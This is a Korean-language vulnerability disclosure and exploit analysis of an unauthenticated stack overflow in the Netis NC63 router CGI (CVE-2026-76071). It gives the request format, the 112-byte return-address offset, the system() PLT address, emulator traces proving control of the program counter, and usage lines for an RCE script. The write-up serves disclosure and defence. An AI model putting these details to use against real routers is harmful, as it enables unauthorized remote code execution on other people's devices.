
Netis NC63 ipFilterList 핸들러에서 무제한 sscanf 스캔셋으로 인한 인증 전 스택 버퍼 오버플로우에 대한 독창적 연구 및 PoC
skk_set.cgi ipFilterList 핸들러에서 sscanf %[^,]를 통한 인증 불필요 사전 인증 스택 버퍼 오버플로연구자: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostNetis NC63 펌웨어 V3.0.0.3327의 일반 MIB/값 파서는 ipFilterList의
destHost 필드를 두 개의 %[^,] 스캔셋으로 파싱하지만 최대 필드 폭이
없습니다. 각 변환은 16바이트 로컬 스택 버퍼에 기록합니다. 따라서 직접
HTTP 클라이언트가 쉼표 없는 긴 구성 요소를 제출하여 함수의 저장된 제어
데이터를 덮어쓸 수 있습니다.
동적으로 테스트된 두 번째 destHost 구성 요소의 경우, 저장된 ra는
로컬 버퍼로부터 정확히 112바이트 떨어져 있습니다. 원본 해시 CGI에 대한
QEMU 추적은 0x0040f7f4에서 공격자가 선택한 세 번째 항목을 확인했습니다.
별도의 관찰 전용 테스트에서는 공격자가 제어하는 요청 데이터를 정확한
MIPS a0 인수로 보존하면서 반환을 0x00423ab0의 원래 system() PLT
경로로 리디렉션했습니다. 가드된 /bin/sh는 마커를 기록했고 어떤 명령도
실행하지 않았습니다.
공개 PoC는 의도적으로 과도하게 긴 B 패턴만 포함합니다. 여기에는
비공개 제어 전환 값이나 명령 경계 구성이 포함되지 않습니다. 별도로
유지 관리되는 poc/exploit-db/의 RCE 스크립트는 Exploit-DB 제출용으로
준비되었으며, 영향받는 시스템의 승인된 테스트에만 사용하도록
의도되었습니다.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

벤더 프론트엔드는 srcHost와 destHost를 쉼표로 구분된 세 개의
구성 요소로 만들어 ipFilterList와 함께 /cgi-bin/skk_set.cgi로
전송합니다:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

검증된 HTTP 형식의 CGI 요청에는 Cookie 또는 Authorization 헤더가 포함되어 있지 않았습니다. /tmp/boa_auth가 존재하지 않았음에도 불구하고 실행은 ipFilterList=mod 및 destHost 파서 경로로 계속 진행되었습니다. 메모리 손상 결함은 FUN_0040f7f4의 너비 없는 스캔셋(widthless scanset)이며, 더 광범위한 CGI 인증 실패는 이 권한 있는 핸들러를 인증 전에 노출시키는 조건입니다.

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
원본 libapmib.so 메타데이터는 srcHost와 destHost를 모두 타입 0x0c로 매핑하며, 이 타입이 이 파서 케이스를 선택합니다. 동적 검증은 destHost로 수행되었으며, srcHost는 별도의 동적 주장이 아닌 동일 파서에 대한 정적 커버리지로 포함되었습니다.

정규화된 Ghidra 기반 의사코드:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() 자체가 본질적인 취약점은 아닙니다. 결함은 %[^,]에 최대 필드 너비가 없다는 점으로, sscanf는 각 목적지가 단 16바이트라는 사실을 알지 못합니다. 용량을 인식하는 형식이라면 %15[^,]와 같은 너비를 사용하고, 정확히 세 개의 변환이 성공했는지 확인한 뒤 파싱된 주소 값을 검증할 것입니다. 이는 예시 완화책이며 벤더 패치가 아닙니다.
FUN_0040f7f4는 0x0040f7f4에서 시작하며 0x1d0바이트 프레임을 생성합니다:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
0x0c 타입 목적지는 fp+0x14c와 fp+0x15c에 있습니다. 저장된 ra는 fp+0x1cc에 있으며, 두 번째 버퍼로부터의 정확한 거리는 다음과 같습니다:
0x1cc - 0x15c = 0x70 = 112 bytes

격리된 PC 증명에서는 112바이트의 패딩 뒤에 0x0040f7f4의 하위 리틀 엔디언 3바이트를 사용했으며, sscanf 종료자가 네 번째 0바이트를 제공했습니다. QEMU는 두 번의 일반적인 파서 진입에 이어, 덮어쓴 반환 주소로 인해 발생한 세 번째 진입을 관찰했습니다:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

별도의 비공개 검증에서 저장된 ra=0x00423ab0, 즉 원본 바이너리의 system() PLT 경로가 형성되었다. 제어된 요청 키 접미사가 반환 시 MIPS a0에 남아 있었다. 일회용 런타임은 /bin/sh를 정적 로거로 교체했다:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
이는 격리된 프로덕션 코드 경로에서 RCE 프리미티브를 확립합니다. 실제 라우터의 정확한 익스플로잇 신뢰성, 커널 무작위화 동작, 기본 WAN 노출은 테스트되지 않았습니다.
테스트된 netis.cgi는 프로덕션 아티팩트와 바이트 단위로 동일합니다. qemu-user에서는 플래시 기반 MIB 상태를 사용할 수 없기 때문에, 일회용 rootfs는 공개된 실험실 전용 libapmib.so 수용 조치를 사용하여 0으로 초기화된 MIB 상태를 할당하고 하나의 패킹된 필드 정렬을 조정했습니다. 이는 CGI, 요청 파서, 취약한 sscanf, 스택 프레임, 저장된 반환 오프셋, 에필로그 또는 system() 경로를 변경하지 않았습니다. 정적 메타데이터는 원본 벤더의 libapmib.so에서 가져왔습니다.
원본 실행 파일은 고정 베이스이며 스택 카나리와 RELRO가 없고, 실행 가능한 스택과 RWX 세그먼트를 가집니다. 이러한 속성은 익스플로잇 가능성 분석을 뒷받침하지만 동적 PC 및 가드 경계 테스트를 대체하지는 않습니다.

URL 인코딩된 본문의 드라이런 생성:
python3 poc/poc.py
승인된 일회용 대상으로의 명시적 전송:
python3 poc/poc.py --target http://192.168.1.1 --send
poc/exploit-db/CVE-2026-76071.py는 Exploit-DB용으로 준비된 RCE 스크립트입니다.
이 스크립트는 문서화된 비인증 ipFilterList 취약점을 대상으로 하며,
권한이 부여된 영향을 받는 테스트 대상에 사용할 명령 인자를 받습니다:
python3 poc/exploit-db/CVE-2026-76071.py <target> "id"
공개 스크립트는 115바이트 B 구성 요소를 사용하여 오버플로 조건을 시연합니다. 이를 전송하면 CGI 프로세스가 충돌할 수 있습니다. 여기에는 명령 문자열, 셸코드, return-to-system 주소, 리버스 셸 또는 지속성이 포함되지 않습니다.